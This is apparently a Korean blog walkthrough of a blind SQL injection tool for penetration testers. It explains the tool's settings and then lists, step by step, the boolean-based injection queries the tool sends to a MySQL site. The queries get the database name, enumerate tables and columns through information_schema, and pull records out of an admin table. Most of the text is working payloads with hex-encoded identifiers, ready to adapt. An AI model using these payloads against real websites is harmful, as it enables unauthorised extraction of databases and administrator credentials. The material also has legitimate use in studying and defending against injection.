내가 분석하고 하는 Bind SQL Injection Tool은 많이들 사용하는 [Blind SQL Injection for Pentration Teser v2.0.0 build 603 Beta 1] 이다.
참고 ) http://n3015m.tistory.com
1. 기본적인 툴 사용법
① URL 부분에는 SQL Injection을 진행할 URL을 적어주면 된다.
② DBMS에는 해당 사이트의 DBMS를 선택해주면 된다. (MSSQL, MYSQL, ORACLE)
③ POST인지 아닌지 체크 후 POST라면 POST 탭에 파라미터와 그 값을 넣어주면 된다.
④ Blind SQL Injection을 AND로 진행할지 OR로 진행할지 고르면 된다.
⑤ MATCH 부분은 값이 True일 때 서버의 응답 중 어떤 것으로 판단할지 적어주면 된다.
⑥ Append Text End Of Query는 쿼리 작성 후 마지막에 무엇을 써줄지 적어주면 된다. 나와있듯이 보통 주석처리를 적어준다.
DB,USR,AUTH,VER 부분 중 확인하고자 하는 것을 체크 후 Initialize Injection을 눌러준다. DB는 Default로 체크되어있다. 왜냐하면 추후 TABLE NAME을 확인할 때 사용하여야 하기 때문이다.
2. DB명 확인
* 공격순서 및 공격쿼리
1) DB명 길이 확인
- idx=21726+AND+length(database())>1--
- idx=21726+AND+length(database())>2--
- idx=21726+AND+length(database())>4-- (2배씩 증가하다 응답이 false이면 범위를 좁혀 DB명 길이 확인)
...
2) DB명 한글자씩 확인
- idx=21726+AND+ascii(substring(database(),1,1))>78--
- idx=21726+AND+ascii(substring(database(),1,1))>102-- (위와 동일하게 범위를 좁혀가며 첫번째 글자 확인)
- idx=21726+AND+ascii(substring(database(),2,1))>78-- ( 두번째 글자를 위와 동일한 방식으로 확인.. 이렇게 하여 모든 DB명 확인)
3. TABLE NAME 확인
- DB명을 뽑아냈다면 TABLE NAME 부분의 CRACK 버튼을 누를 수 있다.
* 공격순서 및 공격쿼리
1) 테이블명 중 가장 길이가 긴 길이 확인
idx=21726+AND+(select+length(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+order+by+length(table_name)desc+limit+0,1)>2--
설명)
- 0x42415345205441424C45 : BASE TABLE → DB Owner가 생성한 TABLE만 조회하기 위해 사용
- 0x69705f6c6f675f7461626c65 : ip_log_table (DB명) → 해당 DB의 테이블을 확인하기 위해 사용
2) 테이블 갯수 확인
idx=21726+AND+(select+count(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65)>2--
3) 첫번째 테이블명의 길이 확인
idx=21726+AND+(select+length(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+limit+0,1)>5--
4) 첫번째 테이블명 획득
idx=21726+AND+(select+ascii(substring(table_name,1,1))+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+limit+0,1)>78--
- ascii(substring(table_name,1,1)의 첫번째 1을 2,3,4 순서로 길이만큼 올리면 된다.
5) 반복
- 테이블명 길이의 마지막 limit의 0이었던 부분을 1,2,3 순서로 올리면 된다.
- 반복해서 테이블명을 획득
6) 데이터 갯수 확인
idx=21726+AND+(select+count(*)+from+ip_table)>2--
- 획득한 Table_Name을 from 뒤에 넣어 각 테이블의 데이터 갯수를 뽑아낸다.
4. COLUMN NAME 확인
* 공격순서 및 공격쿼리
1) 각 테이블 중 컬럼명의 가장 긴 길이를 확인
idx=21726+AND+(select+length(column_name)from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+order+by+length(column_name)+desc+limit+0,1)>2--
2) 각 테이블의 컬럼 갯수 확인
idx=21726+AND+(select+count(*)+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65)>2--
3) 테이블에 해당하는 컬럼명 획득
① 첫번째 컬럼명의 길이 획득
idx=21726+AND+(select+length(column_name)+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>1--
② 첫번째 컬럼명 획득
idx=21726+AND+(select+ascii(substring(column_name,1,1))+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>78--
- column_name 뒤의 숫자를 획득시켜주면 된다.
4) 데이터 타입 확인
① data_type의 각 자리의 ascii값 확인
idx=21726+AND+(select+ascii(substring(data_type,1,1))+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>105--
② 얻은 값을 통해 확인작업
idx=21726+AND+(select+data_type+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)=0x696e74--
5) 반복
- 3)과 4)의 limit 뒤의 0을 1,2,3 순서로 증가시키면 된다.
5. DATA 확인
* 공격순서 및 공격쿼리
1) 해당 테이블과 컬럼명을 이용하여 각 데이터의 길이 확인
idx=21726+AND+(select+length(id)from+.admin_table+limit+0,1)>2--
2) 각 데이터 획득
idx=21726+AND+(select+ascii(substring(id,1,1))+from+.admin_table+limit+0,1)>126--